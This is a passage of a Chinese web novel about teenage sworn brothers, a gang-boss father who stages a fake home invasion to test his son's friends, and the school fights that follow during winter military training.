邓天啸闭目养神,闻言眼皮都没抬,淡淡道:“要不是我儿子在里头,你们这点破事,我还真懒得管。挨顿揍也好,长长记性,看你们以后还敢不敢这么冲动。”张霆琛沉默了一下,再次开口,语气诚恳了许多:“我知道了叔叔,今天是我不好,太冲动了,连累了大家。”这番清醒的认错,没有借着酒劲推诿狡辩,让邓天啸紧闭的眼皮下微微一动。这小子,倒有点担当。不过他是混迹江湖多年的老狐狸,心中所想自然不会表露分毫,脸上依旧是一副冷峻的表情:“知道错了就好。”
车子驶入一片幽静的别墅区,最终停在一栋气派非凡的独栋别墅前。巨大的落地窗,精心修剪的草坪,无不彰显着主人的财力。王涛、彭志龙等人看得暗暗咋舌,唯有张霆琛、李辰浩几人,目光只是平静地掠过。容市别墅的恢弘早已刻入骨髓,眼前这别墅虽好,却不足以让他们失态。
这细微的反应,**天啸不动声色地尽收眼底。他心中再次闪过一丝讶异:这几个自称孤儿的孩子,有点意思。进了门,众人纷纷给家里打电话报平安,借口统一是“在同学家过夜”。轮到林凯时,却遇到了麻烦。电话那头,林局长语气强硬,执意要立刻派人来接。林凯拗不过父亲,只能苦着脸把电话递给邓天啸。
邓天啸接过电话,声音沉稳:“喂?林局长,别来无恙啊?”语气熟稔。电话那头明显顿了一下,随即传来热情的声音:“哎哟!老邓?怎么?我家那小子跑你那儿去了?”“几个孩子闹了点小误会,跟人动了手,正好让我碰上了。看着都挂了点彩,这不,接回家来,让医生给拾掇拾掇。”邓天啸说得轻描淡写。
“嗨!麻烦你了老邓!不过我们家也有医生和全套的医疗设备,安全些。我这就派人过去接他,给你添麻烦了!”林局长的语气不容商量。邓天啸也没强求,笑了笑:“行,那就辛苦林局长了。改天有空,一起坐坐。”两人又客套了几句,电话挂断。
“真烦人”林凯在一旁小声嘟囔,满脸不高兴。邓天啸没理会年轻人的小情绪。邓志辉拍了拍林凯的肩膀:“先处理伤口,以后时间多的是。”林凯闷闷地“嗯”了一声。经过刚才一番惊吓和打斗,众人的酒意早已散了大半。王涛看着邓天啸,忍不住问道:“邓叔,刚才您干嘛不直接掏枪把那帮孙子吓跑?还跟他们那么客气干嘛?”他的语气带着点不解,甚至有点替邓志辉抱不平的意思,显然知道邓天啸的分量。
邓天啸在宽大的沙发上坐下,给自己倒了杯水,眼神扫过这群青涩的脸庞,语气带着一种过来人的沉稳:“你们这些孩子啊,就知道图一时痛快,根本不懂什么叫人情世故,什么叫江湖。”他抿了口水,“我跟他们客套,给他们台阶下,是想把这事彻底了了,以后井水不犯河水。这样他们心里有数,就不会再回来找麻烦。可倒好,现在用枪把他们吓跑了,人是跑了,但心里憋着气呢,难保不会怀恨在心,日后找到机会,在暗处给你们使绊子。到那时,就不是挨顿揍那么简单了,懂吗?”
“就凭您在广市的地位,还怕他们报复?”王涛还是有些不服气。邓天啸看了他一眼,眼神深邃:“不是怕他们报复我。是怕他们报复你们!”他加重了语气,“这几个不入流的小角色,我自然不放在眼里。但兔子急了还咬人,真把他们逼到绝路,狗急跳墙,他们会像跗骨之蛆一样盯着你们下手。明枪易躲,暗箭难防啊。”他不再多言,放下水杯,站起身,“志辉,好好招呼你这些兄弟。我去休息了。”
“叔叔再见。”张霆琛第一个站起身,微微颔首,礼数周全。邓天啸摆了摆手,没再说话,高大的身影消失在通往二楼的楼梯转角处。送走被家里专车接走的林凯后,剩下的人各自找了客房准备休息。邓志辉却来了精神:“别睡那么早啊!来来来,打会儿牌,聊聊天!”
其他人有些意动,苏旭却连忙摆手,心有余悸:“别别别!上次就是半夜睡不着跑二哥屋里聊天,结果我媳妇……咳,我女朋友联系不上我,第二天差点把我给撕了!不行不行!下回!下回!”王涛一脸鄙夷:“瞧你那点出息!怕媳妇!”“嘿!怎么跟你五哥说话呢?欠练了是吧?”苏旭佯怒。“兄弟们!上!收拾这个气管炎!”王涛怪叫
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一声,带头扑了上去。一群人嘻嘻哈哈地闹作一团,把苏旭按在床上“蹂躏”了一番,才放他溜回房间。
深夜,几个精力旺盛的少年挤在一张大床上,胡乱打着扑克。张霆琛一边理牌,一边状似随意地问邓志辉:“志辉,你爸到底是做什么的?刚才那阵势”他指的是邓天啸掏枪的场面和对方头目的反应。
邓志辉甩出一张牌,语气有些敷衍:“不是早跟你们提过吗,青帮的。具体管什么,我也不太清楚,也懒得问。”他似乎对这个话题兴致缺缺。但张霆琛的眼神深处却闪过一丝精光。邓家的财力、邓天啸的权势和手段?章,这一切都让他敏锐地感觉到一股巨大的力量。他心中暗忖:若能借势邓家这棵大树,未来的路或许能轻松许多……
“哎,别聊这个了。”彭志龙打断沉默,他活动了一下还有些酸痛的胳膊,“咱们哪天有空一起练练?我看大哥二哥身手是真不错。”邓志辉来了兴趣,看向李辰浩:“对啊大哥,你跟二哥,到底谁更能打?以前没见你们真动过手。”李辰浩苦笑一声,坦率地说:“以前或许还能勉强打个平手。现在”他摇摇头,看向张霆琛,“估计是打不过了。”语气里没有嫉妒,只有坦诚的佩服。
张霆琛笑了笑,没承认也没否认,算是默认。其他几人也没太惊讶,毕竟刚才张霆琛在醉酒状态下爆发出的战斗力,他们可是亲眼所见。众人就这么有一搭没一搭地聊着,直到深夜才沉沉睡去。寂静的别墅走廊,邓天啸悄无声息地推开客房门。柔和的夜灯光线下,几个少年横七竖八地睡在床上,呼吸均匀,脸上还带着未消的青紫。他看着张霆琛沉睡中依旧微蹙的眉头,嘴角勾起一丝难以察觉的弧度,轻轻带上房门准备离开。
“您来干嘛来了?”一个刻意压低的声音在身后响起。邓天啸脚步一顿,毫不意外地转过身。只见邓志辉斜倚在走廊墙壁的阴影里,眼神清醒,哪有半分睡意。邓天啸没说话,径直走向自己的书房。邓志辉无声地跟了进去。书房里只亮着一盏台灯,光线柔和。邓天啸在宽大的书桌后坐下,点燃一支雪茄,烟雾缭绕中,他缓缓开口:“那几个新来的小子,什么来路?特别是那个张霆琛和李辰浩。”
邓志辉站在阴影里,声音平静无波:“张霆琛、李辰浩、李晓晓、苏旭,四个都是转学来的,都是孤儿。王涛他们几个的背景,您都知道。”“孤儿?四个?”邓天啸吐出一口烟圈,眼神锐利,“身手都不错,尤其是张霆琛和李辰浩。今晚那局面,如果不是对方人多又都是老油子,凭他俩的身手,想全身而退甚至反制,未必不可能。”
“是,身手确实好。”“跟你比呢?”邓天啸的目光像探照灯一样落在儿子脸上。邓志辉几乎没有犹豫:“比我强。”“好!”邓天啸脸上终于露出一丝真心的笑意,带着赞赏,“很有自知之明!不愧是我邓天啸的儿子!”他满意地点点头,“今晚你挨揍时能忍住不露真本事,这份隐忍,很好。记住,做人要懂得藏锋,懂得低调。木秀于林,风必摧之。懂得蛰伏,方能在关键时刻,一击必中,成就大事!”
然而,邓志辉接下来的话却让他脸上的笑容瞬间凝固:“但是爸,有件事那个‘大哥’李辰浩,我感觉有点不对劲。他好像藏着很深的东西。”“大哥?”邓天啸眉头微皱。“就是李辰浩。”邓志辉解释道,“我决定跟着张霆琛了。这个人,不简单。我们已经拜了把子。李辰浩是老大,但真正拿主意、定方向的,是二哥张霆琛。”
“胡闹!”邓天啸猛地一拍桌子,雪茄灰簌簌落下,眼中怒意隐现,“我邓天啸的儿子,怎么能屈居人下?!拜把子排第几我不在乎,但主意都让别人拿?你跟在后面当跟班吗?!”书房内的空气骤然紧张起来。邓志辉却依旧平静地站在阴影里,脸上没有任何波澜,眼神深邃得不像个少年。他缓缓抬起头,直视着父亲因愤怒而略显狰狞的脸,声音不高,却带着一种不容置疑的冷静和野心:“爸,您错了。这不是屈居人下。”他嘴角勾起一抹极淡、极冷的弧度,“张霆琛,他是一把好刀,也是一块跳板。我觉得,由他冲在前面开路,我能爬得更高,看得更远。”
他的语气平淡无波,却打破了书房的寂静。此刻的邓志辉,与白天那个在兄弟间嬉笑打闹的少年判若两人。邓天啸盯着儿子那双深不见底的眼睛,胸中的怒火渐渐被一种复杂的情绪取代,是惊疑,是审视,还有一丝隐隐的期待?他沉默良久,才从牙缝里挤出一句话,带着冰冷的审视和一丝不易察觉的挑战:“好!很好!那我就等着看!看看他张霆琛,到底有什么通天的本事,能让我邓天啸的儿子甘心在他手下‘借势’!”
第五十五章:测试,迷局
房间,张霆琛眯着眼时,冰冷的**已经抵在了他的太阳穴上。房间里漆黑一片,只有窗外透进来的月光勾勒出三个黑影的轮廓。"别出声,慢慢起来。"一个沙哑的声音命令道。
张霆琛的大脑飞速运转。他们住在邓天啸别墅的二楼,按理说安保系统应该滴水不漏。能悄无声息地潜入,对方绝非等闲之辈。他感觉到同屋的李辰浩和王涛也被控制住了,黑暗中传来他们沉重的呼吸声。"手放在脑后,转身。"黑衣人命令道。
张霆琛照做时,眼角余光瞥见李辰浩被一记手刀击中后颈,软绵绵地倒了下去。王涛刚要反抗,就被**狠狠砸在腹部,发出一声闷哼。"别动他们!"张霆琛低吼。回应他的是一块带着甜味的布捂住了口鼻。**的气味冲入鼻腔,张霆琛屏住呼吸,假装昏迷。黑衣人确认他昏过去后,粗暴地将他双手反绑,拖出了房间。
走廊上,张霆琛眯着眼睛看到苏旭和彭志龙也被押了出来。彭志龙脸色惨白,双腿发抖;苏旭则满脸是血,显然已经反抗过。黑衣人动作熟练地将他们一个个拖下楼梯,扔在客厅中央。刺眼的灯光突然亮起。张霆琛眯起被强光刺痛的眼睛,看到邓天啸、邓志辉和别墅里所有保镖仆人都被绑着跪在地上。邓天啸额头有血迹,但眼神依然锐利;邓志辉嘴角破裂,看到张霆琛他们时眼中闪过愧疚。
"老邓啊,你怎么开起幼儿园了?弄这么多孩子在家里?"一个慵懒的声音从沙发方向传来。张霆琛转头,看到一个穿着西装的男人正悠闲地品着红酒。他约莫四十出头,梳着整齐的背头,左手小指戴着一枚翡翠戒指,在灯光下泛着冷光。邓天啸吐出一口血沫:"王八蛋!放了我儿子!我跟你走!"
西装男子放下酒杯,发出一声轻笑:"放了你儿子?你觉得可能吗?"他环视一周,目光在每个年轻人脸上停留,"今天都得死。"客厅里一片死寂,只有彭志龙突然哭喊起来:"我不是他们家人!你放过我!""彭志龙!"王涛怒吼,"**说什么呢!"
西装男子似乎被这出戏逗乐了:"这就是人性。谁还想走?"他等了几秒,见没人再开口,满意地点点头,"很好,那我们来玩个游戏吧。"他的目光锁定张霆琛:"就由你来玩。游戏时间十分钟。"张霆琛直视他的眼睛:"要杀要剐悉听尊便!但放了其他人!"
"你没资格谈条件。"西装男子从手下那里接过一把锋利的**,扔在张霆琛面前,"现在规则是这样:你自己剁四根手指可以救一个人,救谁由我定。"他指向邓志辉,"比如他。"邓志辉被胶带封住的嘴里发出"呜呜"声,拼命摇头。
"不要!小琛!"李辰浩挣扎着喊道,"剁我的!我的手指都给你,放了他们!"王涛也怒吼着同样的话。西装男子不耐烦地看了看手表:"还有五分钟。"张霆琛突然笑了:"给我松绑。"西装男子挑了挑眉,示意手下照做。张霆琛活动了下手腕,捡起地上的刀。刀身在灯光下泛着寒光,映出他平静的脸。
"既然跑不了,能救一个算一个。"他说完,毫不犹豫地将左手四指平摊在地板上,右手举刀就要砍下。"慢着!"西装男子突然喊道。但张霆琛的刀已经落下。千钧一发之际,李辰浩用肩膀将他撞开,刀锋擦着手指划过,在地板上留下一道白痕。西装男子走到张霆琛面前,俯视着他:"你不怕吗?"
"谁都会怕。"张霆琛抬头与他对视,"但怕有用吗?怕了你就会放人?"他又举起刀,"希望你说话算话。"西装男子突然鼓掌:"有骨气。你可以不用剁手指了,但还得再玩一个游戏。"他退后两步,"你跟我的手下过招,能打赢一个就救一个人。或者."他意味深长地顿了顿,"加入我。我很欣赏你,只要你肯为我做事,我可以放了你所有朋友,除了邓家的人。"
张霆琛没有丝毫犹豫:"动手吧,谁先来?"一个身高近两米的壮汉走了出来,肌肉将黑色T恤撑得紧绷。他轻蔑地看着张霆琛:"小子,别后悔。"张霆琛摆出格斗姿势。壮汉一记直拳袭来,他侧身闪过,刀锋上挑。壮汉后仰避开,却没料到张霆琛突然变招,刀锋一转直取咽喉。壮汉仓促格挡,张霆琛另一只手已如毒蛇般扣住他的喉咙。
"你输了。"张霆琛松开手。壮汉面红耳赤还想再战,被西装男子喝止。他饶有兴趣地看着张霆琛:"刚才为什么不杀他?""我杀了他,你
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还会让我们走吗?"张霆琛反问。西装男子大笑:"好!很好!"他脱下西装外套,接过一把日本刀,"我亲自来会会你。赢了,所有人自由。"
刀光如练,张霆琛只觉眼前一花,西装男子的刀已经劈到面前。他勉强架住,虎口被震得发麻。接下来的十几回合里,张霆琛节节败退,汗水浸透了后背。就在他快要支撑不住时,脑海中突然浮现出与藏獒搏斗的画面。那一刻,他进入了某种奇妙的状态后能感知到空气的流动,预判对手的每一个动作。张霆琛的招式突然变得简洁高效,一刀划过西装男子的脸颊,留下一道血痕。
"漂亮!"苏旭欢呼。西装男子摸了摸脸上的伤口,非但不怒,反而露出赞赏的神色。下一秒,他的动作突然快了数倍,三招之内就将张霆琛制服,刀锋抵住他的咽喉。"为什么不对我背后下手?"男子问。"我不在人背后捅刀子。"张霆琛喘息着回答。
男子收起刀:"妇人之仁。"他走回沙发,"我再问你,你看出了什么?"张霆琛盯着他看了许久,突然扔掉手中的刀:"你无心杀我们,但我不知道原因。"西装男子笑了:"接着说。"张霆琛指向邓天啸:"我觉得你和他是一伙的!因为你处处针对我和邓志辉!"
话音刚落,邓天啸爆发出一阵大笑:"好小子!我儿子没看错人!"西装男子拍了拍手,所有"绑匪"立即松开了人质,整齐地站到一旁。邓志辉撕掉嘴上的胶带,跑到张霆琛身边:"对不起,这是我爸的测试..."
"测试?"李辰浩揉着后颈,一脸不可思议。邓天啸解开绳索站起来:"最近有人要对我们不利,我必须知道志辉交的朋友靠不靠谱。"他走到张霆琛面前,拍了拍他的肩膀,"你表现得很好。"张霆琛却没有放松警惕。他注意到邓天啸和西装男子交换了一个意味深长的眼神,而别墅的某个角落,一个摄像头正闪着微弱的红光。
"只是测试吗..."张霆琛低声自语,嘴角有一丝不易察觉的弧度,事情远没有这么简单。
西装男子整理着袖口,翡翠戒指在灯光下闪烁。当他转身时,张霆琛分明看到他后颈处有一个奇怪的纹身,一只滴血的眼睛。
第五十六章:军训
"你还真没看错人。"邓天啸的声音里带着几分赞许。"爸!你太过分了!"邓志辉一能说话就吼了出来,声音嘶哑得像是砂纸摩擦。张霆琛这才注意到好友的眼角泛红,显然是被迫旁观这场闹剧时急出来的。
张霆琛深吸一口气,强压下心头怒火,声音却比平时低了八度:"邓叔叔,这是什么意思?""别怪叔叔。"邓天啸刚开口,楼梯上就传来一阵脚步声。"老邓你也真是太过分了。"一个穿着真丝睡袍的中年妇人缓步走下,她嘴上说着责备的话,眼神却平静得像是在讨论今天的天气,"都是一帮孩子,怎么可以这么对他们?"
"妈!你怎么能同意爸这样做!"邓志辉的声音里带着难以置信。妇人优雅地掩口打了个哈欠:"我没有啊,我睡醒了才听佣人说的。"她的目光在张霆琛身上停留了一秒,又若无其事地移开。张霆琛的手不自觉地攥紧又松开。他能感觉到李辰浩站在身后,肌肉紧绷得像张拉满的弓。而角落里,彭志龙正蜷缩着身子,脸上还挂着未干的泪痕。
"叔叔,"张霆琛一字一顿地说,每个字都像是从牙缝里挤出来的,"请给我一个解释。"邓天啸挑了挑眉,突然笑了:"对不住了孩子,来我书房说吧。"李辰浩一把抓住张霆琛的手臂,力道大得让人生疼。张霆琛摇摇头,用只有两人能听见的声音说:"去看着彭志龙,那小子现在肯定想找个地缝钻进去。"
书房里,红木家具在灯光下泛着暗沉的光泽。邓志辉一进门就踹翻了脚边的檀木凳子:"爸!你必须道歉!""道歉就不用了,"张霆琛径直走到窗前,背对着两人,"我只想知道为什么。"窗外,暮色正在吞噬最后一缕阳光。邓天啸点燃一支雪茄,烟雾在空气中划出蜿蜒的轨迹:"我邓天啸的儿子,怎么能随随便便给人当小弟?"
张霆琛猛地转身,拳头砸在实木书桌上发出闷响:"所以你就设局试探我?""聪明!"邓天啸不怒反笑,"三个测试:舍命救人、身手、头脑。"他吐出一个完美的烟圈,"你全通过了。"张霆琛突然笑了。他放松身体陷进真皮沙发里,手指轻敲扶手:"叔叔放心,有我一口吃的,就有志辉半口。"
邓天啸眼中精光一闪而逝。他状似随意地问:"听说你们几个都是孤儿?"房间里的空气瞬间凝固。张霆琛的手指停在半空,邓志辉猛地站起来:"爸!你再问这种问题,我就""好好好,不问了。"邓天啸举起双手作投降状,却又意味深长地补了一句:"不过那个求饶的小子,留不得。""他只有十六岁。"张霆琛的声音很轻,却带着不容置疑的坚定,"谁都有害怕的时候。"
离开书房时,邓志辉拽住张霆琛的袖子:"二哥,对不起..."张霆琛摇摇头,嘴角勾起一抹苦笑:"你要真知情不报,我反而要重新考虑咱们的关系了。"大厅里,所有人都站了起来。彭志龙躲在最角落,脸色苍白得像张纸。张霆琛大步走过去,一把搂住少年的肩膀:"怎么?以为我要吃了你?"
"二哥,我..."彭志龙的眼泪又涌了出来。张霆琛环视众人,声音洪亮:"今天这事翻篇了!谁要是再提,就是不给我张霆琛面子!"他用力拍了拍彭志龙的后背,"是人都会犯错,重要的是我们还是一家人。"王涛撇撇嘴,最终也只是嘟囔了一句:"下次再怂,老子第一个揍你。"
夜深了,张霆琛独自站在阳台上。他知道,今天这场戏远没有结束,邓天啸跟西装男子的眼神,还有那个看似置身事外却处处透着古怪的邓夫人...夜风吹乱了他的头发。远处,城市的灯火明明灭灭,像极了他们不可预知的未来。
清晨,昨夜那场惊心动魄的"游戏"仿佛从未发生过。张霆琛活动着仍有些酸痛的手腕,那里还留着绳索勒出的红痕。邓家的早餐桌上,邓夫人正优雅地为每个人盛粥,瓷勺碰在碗沿发出清脆的声响。
"我妈做的皮蛋瘦肉粥可是一绝。"邓志辉嘴里塞满食物,含糊不清地说。他额角的淤青在晨光中格外明显,那是昨晚挣扎时留下的。李辰浩突然放下筷子:"志辉,你那天为什么会被李耀一脚踹倒?"他的目光锐利如刀,"以你的身手..."
邓志辉的表情僵住了,粥碗在手中微微倾斜。邓天啸轻咳一声,声音不轻不重,却让整个餐厅瞬间安静下来。"我从小就被要求隐藏实力。"邓志辉放下碗,手指在桌面上敲出不安的节奏,"我爸说不到生死关头,不能显露真本事。"
张霆琛若有所思地搅动着粥碗,米粒在浓稠的汤汁中缓缓下沉。他突然抬头:"下周要军训?""嗯,就在学校。"邓志辉点头,"最倒霉的是可能赶上初雪..."陈曦的勺子"当啷"一声掉在盘子上:"大冬天军训?学校疯了吧?""据说是学国外军校..."邓志辉的话被苏旭的哀嚎打断。"老子最怕冷了!"苏旭夸张地抱住双臂,"到时候非得冻成冰棍不可!"
周一清晨,寒风吹得人脸生疼。教室堆满了墨绿色的军训服,像一座小山。张霆琛随手拿起一件,布料粗糙得像是砂纸。"这特么是麻袋吧?"王涛拎起一件在自己身上比划,衣服下摆直接垂到了大腿。苏旭来串门,他的情况更糟,他套上的军训服大得能装下两个他,袖口垂到膝盖,活像个穿着军装的稻草人。
"哈哈哈!"王涛笑得直拍桌子,"苏旭你演话剧呢?"苏旭涨红了脸,一把扯下衣服摔在地上:"破学校!等老子有钱了非
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得把它买下来拆了不可!""就你?"王涛挑衅地扬起下巴,"敢不敢单挑?赢了老子把衣服让给你!"
苏旭眼睛一亮,二话不说脱掉上衣:"大家都听见了啊!这小子说话不算数你们可得帮我!"话音未落,王涛已经像头小豹子般扑了上去。两人在地上滚作一团,撞翻了好几把椅子。教室里尘土飞扬,同学们纷纷退开,有人起哄,有人叫好。
"一对疯狗!"一个尖利的声音刺破喧嚣。张霆琛转头,看见刘建平站在门口,脸上挂着讥讽的笑。他身后跟着几个陌生面孔,其中一个满脸横肉的男生正恶狠狠地瞪着这边。
"你说谁呢?"张霆琛的声音很轻,却让教室里的温度骤降。刘建平不自觉地后退半步:"说谁谁心里清楚。"王涛从地上爬起来,拍了拍身上的灰:"周五那些人是你叫的吧?"刘建平的瞳孔猛地收缩,喉结上下滚动:"什么周五?我不知道!"
邓志辉缓步上前:"再敢找校外的,哼..."他故意没说完,但威胁的意味不言而喻。"操!你威胁谁呢?"那个陌生男生突然上前,却被刘建平一把拉住。几人灰溜溜地离开了教室,背影写满了心虚。苏旭凑到王涛耳边嘀咕了几句,两人脸上同时露出狡黠的笑容。李辰浩皱眉:"你俩别惹事。""我们像惹事的人吗?"苏旭一脸无辜,眼睛却闪着狡黠的光。
操场上,穿着军装的梁颖英姿飒爽,腰带束出纤细的腰身。张霆琛看得有些出神:"真好看..."
梁颖的脸瞬间红得像熟透的苹果,拉着陈曦落荒而逃。身后传来此起彼伏的起哄声,张霆琛作势要追,众人一哄而散。
上午的训练枯燥乏味。教官的吼声在寒风中显得格外刺耳:"立正!稍息!向左转!"解散哨声响起时,张霆琛突然发现苏旭和王涛不见了。他心头涌上一丝不祥的预感:"这俩惹事精..."
此时的厕所里,苏旭和王涛正把刘建平堵在墙角。刘建平嘴里的烟掉在地上,火星在潮湿的地面上慢慢熄灭。"平哥,这身衣服怎么样?"王涛笑嘻嘻地扯了扯自己过小的军训服。刘建平还没反应过来,他身边的跟班已经变了脸色:"老大,他们想抢衣服!"战斗结束得很快。苏旭一个肘击放倒两人,王涛则用膝盖狠狠顶在刘建平肚子上。当刘建平蜷缩在地上干呕时,两人已经开始扒他的衣服。
"老实点!"苏旭一巴掌扇在刘建平脸上,"再动连裤衩都给你扒了!"当张霆琛等人找到他们时,两人已经换上了合身的军训服,正对着镜子臭美。"衣服哪来的?"李辰浩眯起眼睛。王涛转了个圈,军服笔挺:"平哥赏的!"远处传来刘建平歇斯底里的吼声:"王涛!苏旭!老子跟你们没完!"
第五十七章:拉拢路译
刘振平的叫骂声刺破午休时分的宁静。张霆琛循声望去,只见刘振平正手忙脚乱地套着那件大得离谱的军装,衣摆几乎垂到膝盖,活像个穿着戏服的小丑。他身后两个跟班也好不到哪去,一个扣子系错了位置,一个袖子卷得乱七八糟。
"哟!这不是平哥吗?"邓志辉故意拖长声调,声音洪亮得半个操场都能听见,"怎么,改行演滑稽戏了?"刘振平冲到张霆琛面前,军装领口歪斜着,露出里面皱巴巴的衬衫。他一把揪住张霆琛的衣领,手指关节因用力而发白:"你的人干的好事!这事没完!"
张霆琛纹丝不动,只是轻轻拨开刘振平的手,慢条斯理地整了整自己的领口:"平哥误会了。我兄弟看你衣服不合身,特意帮你换了件大的。"他嘴角勾起一抹若有若无的笑,"怎么,不合心意?""你!"刘振平气得浑身发抖,脸上的肌肉不自然地抽搐着,"张霆琛,咱们走着瞧!"
看着刘振平狼狈离去的背影,苏旭忍不住笑出声:"平哥慢走啊,小心别绊着!"他扯了扯身上合体的军装,得意地转了个圈。"你们俩..."张霆琛揉了揉太阳穴,"这下麻烦大了。"邓志辉拍拍张霆琛的肩膀:"二哥,这种人就是欠收拾。""我不是说他们做错了。"张霆琛叹了口气,目光扫过众人,"只是接下来..."
这时林凯开口:"刘振平这人睚眦必报。我建议这几天大家都别落单。""凭什么我们要躲?"张霆琛的声音突然拔高,拳头不自觉地攥紧。邓志辉连忙按住他的肩膀:"二哥,李耀说不准什么时候回来呢,现在硬碰硬..."
张霆琛深吸一口气,强迫自己冷静下来。远处,梁颖和陈曦正急匆匆地跑来,梁颖的脸因为奔跑而泛着红晕。"不是让你们在食堂等吗?"张霆琛皱眉。"刘振平在召集人手!"梁颖气喘吁吁地说,小手不自觉地抓住张霆琛的衣袖,"我看见他和高二人在一起..."
食堂门口,刘振平正和一群穿着同样军装的学生说着什么。为首的高二身材魁梧,眉骨上一道疤格外显眼。他注意到张霆琛一行人的到来,嘴角扯出一个冷笑。"后楼见,不来的是孙子。"刘振平趾高气扬地走过来,"你们可以先填饱肚子,就怕待会把屎都打出来。"
食堂里爆发出一阵哄笑。张霆琛面不改色,反而露出一个灿烂的笑容:"多谢关心。不过..."他故意停顿了一下,"饿着肚子打架的人才容易失禁吧?"苏旭立刻配合地捏住鼻子:"我说怎么突然这么臭!"众人又是一阵大笑。
那个高二生眯起眼睛,拦住了要发作的刘振平:"有意思。高一的崽子们挺狂啊。"他凑近张霆琛,呼出的热气喷在张霆琛脸上,"记住我的名字,龙镇宏。"等他们走远,邓志辉压低声音:"麻烦了。这人比李耀还阴险。"
"路译这人可以拉拢吗"张霆琛问了一嘴。"路译的女朋友龚莺在我们班。"一直沉默的彭志龙开口,声音因激动而微微发颤,"龙镇宏总来找她,但路译好像不知道。"张霆琛眼睛一亮,拍了拍彭志龙的肩膀:"好兄弟,这情报太及时了。"彭志龙的脸瞬间涨得通红,眼中闪过一丝感激。
"有办法了?"李辰浩问。张霆琛神秘地笑笑:"先吃饭。饿着肚子可没法打架。"餐桌上,梁颖悄悄拉住张霆琛的手:"能不能别去打架?"她的声音轻得几乎听不见。张霆琛捏了捏他的手心:"有些架,非打不可。"另一边,陈曦把梁颖拉到角落:"这种事劝不住的。"她叹了口气,"你越拦着,他越要证明自己。"
梁颖的眼圈红了,"可是我怕他受伤..."阳光透过窗户斜斜地洒在她脸上,映出他略显稚气的神情。陈曦看着他,恍惚间像是看到了几个月前的自己,那时候的自己,也是这样懵懂又固执。
她叹了口气,伸手拉住梁颖的手腕,低声说:"每个男孩都有自己热血的时候,有些事,现在不做,以后就没机会了。"梁颖抿着嘴,眉头皱得紧紧的,显然心里还是不服气,但最终只是闷闷地"嗯"了一声。
这时,张霆琛从楼梯口大步走来,校服外套随意地搭在肩上,嘴角挂着轻松的笑:"怎么了?你们俩在这儿嘀咕啥呢?"陈曦冲梁颖使了个眼色。梁颖深吸一口气,努力让自己的语气听起来没那么别扭:"没事,就是有点担心你。"张霆琛笑了,伸手揉了揉他的头发:"放心,就是去谈个事,又不是去打架。"梁颖点点头,没再说话。张霆琛拍了拍他的肩膀,转身对邓志辉一挥手:"走,去会会路译。"
路译的宿舍在五楼,门一开,一股泡面和啤酒混合的味道扑面而来。开门的是个膀大腰圆的男生,一见邓志辉,咧嘴笑了:"哟,辉哥?"可目光扫到后面跟着的一群人,脸色立刻沉了下来:"带这么多人来,几个意思?"
没等邓志辉开口,宿舍里传来一个懒洋洋的声音:"怎么,抄宿舍啊?"路译靠在床边,手里捏着一副扑克,眼神锐利地打量着张霆琛。张霆琛没等他邀请,直接迈步往里走。门口的大块头伸手一拦,路译却抬了抬下巴:"让他进来。"张霆琛在桌边坐下,顺手拿起一瓶没开的啤酒,拇指一顶,"砰"地撬开瓶盖,给自己倒了一杯。
路译眯了眯眼,从兜里摸出一根烟递过去:"抽吗?"张霆琛笑了笑:"不会。"路译哼笑一声,自己点上,吐出一口烟:"说
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吧,找**嘛?""一起搞刘振平。"张霆琛直截了当。路译嗤笑:"你加入我,可以。联合?免谈。"
张霆琛不急不躁,手指轻轻敲着啤酒瓶:"路哥觉得自己单挑初二没问题?"路译眼神一冷:"我跟初二没仇,倒是你,打了李耀,自己惹的祸别拖我的人下水。"张霆琛没接话,只是慢悠悠地倒了杯酒,推到路译面前:"我兄弟说,龙镇宏最近总骚扰龚莺。"路译猛地站起来,一把揪住张霆琛的衣领:"**再说一遍?!"
门外的人瞬间躁动起来,李辰浩几个就要往里冲,张霆琛却抬手一拦:"都别动!"他直视路译的眼睛,一字一句道:"我说的是实话,不信你问大强。"路译转头看向大强,大强脸色难看,低声道:"路哥,嫂子不让说……""操!"路译一脚踹翻桌子,啤酒瓶碎了一地,"你们**就看着我女人被欺负?!"
张霆琛站起身,拍了拍衣服:"路哥,这事你自己看着办。我先走了。"说完,他转身就走,李辰浩几个面面相觑,赶紧跟上。到了楼梯口,李辰浩忍不住问:"就这么走了?"张霆琛笑而不语。
果然,还没下到四楼,身后就传来急促的脚步声。路译带着人追了上来,挡在他们前面,冷冷道:"走,一起去。"张霆琛嘴角一扬,伸手拍了拍路译的肩膀:"那就走着"。
还没到后楼张霆琛突然停住了脚步对路译说“路哥,你们先找地藏起来,我们先去,等一会打起来你们再上。”“为什么?干吗这么麻烦?”杨炎解释说“听说这龙镇宏很阴,我去找你联合应该早就传到他的耳朵里了,要是我没猜错他肯定也得埋伏人。”路译觉得张霆琛有点太过小心了,但是既然跟着人家来了只有先听别人的。就这样张霆琛带着李辰浩等八人先去了后楼小路,而路译则带着十几个人躲在了后楼楼上,看情况行事。
后楼的小路上,刘振平和龙镇宏已经带着十几号人等着了。龙镇宏叼着烟,见张霆琛只带了七八个人,嗤笑道:"就这点人?不是找路译吗?人呢?怂了?"张霆琛没理他,只是歪了歪头,对李辰浩低声说了句:"待会儿听我信号。"龙镇宏见他不吭声,更加嚣张:"怎么,现在知道怕了?跪下来道个歉,老子可以考虑放你一马。"
张霆琛突然笑了:"道歉?"下一秒,他猛地一拳砸在龙镇宏脸上!混战瞬间爆发!苏旭直奔刘振平,李辰浩和邓志辉背靠背放倒两个,彭志龙在后面大喊:"琛哥!后面还有人!"张霆琛回头,果然看到灌木丛里又钻出十几个初二的,手里还拎着棍子。龙镇宏抹了把鼻血,朝张霆琛一脚踢了过去,狞笑着:"张霆琛,**今天死定了!"
第五十八章:后楼混战
李辰浩一把拽起张霆琛,两人如同出笼的猛虎,直扑龙镇宏。李辰浩一拳狠狠砸在龙镇宏的肚子上,趁他弯腰痛呼的瞬间,又是一记凶狠的膝撞,直接顶在他的下巴上!龙镇宏踉跄后退,还没站稳,李辰浩的鞭腿已经抽在他的脑袋上,"砰"的一声闷响,龙镇宏重重摔在地上。
另一边,苏旭骑在刘振平身上,拳头如雨点般砸下,刘振平那张原本嚣张的脸此刻已经血肉模糊,连求饶的力气都没了。"操!"路译带着人从二楼一跃而下,十几个人如同猛兽出闸,瞬间冲进战场。路译一脚踹翻一个高二的,怒吼道:"今天不把他们打趴下,谁都别想走!"
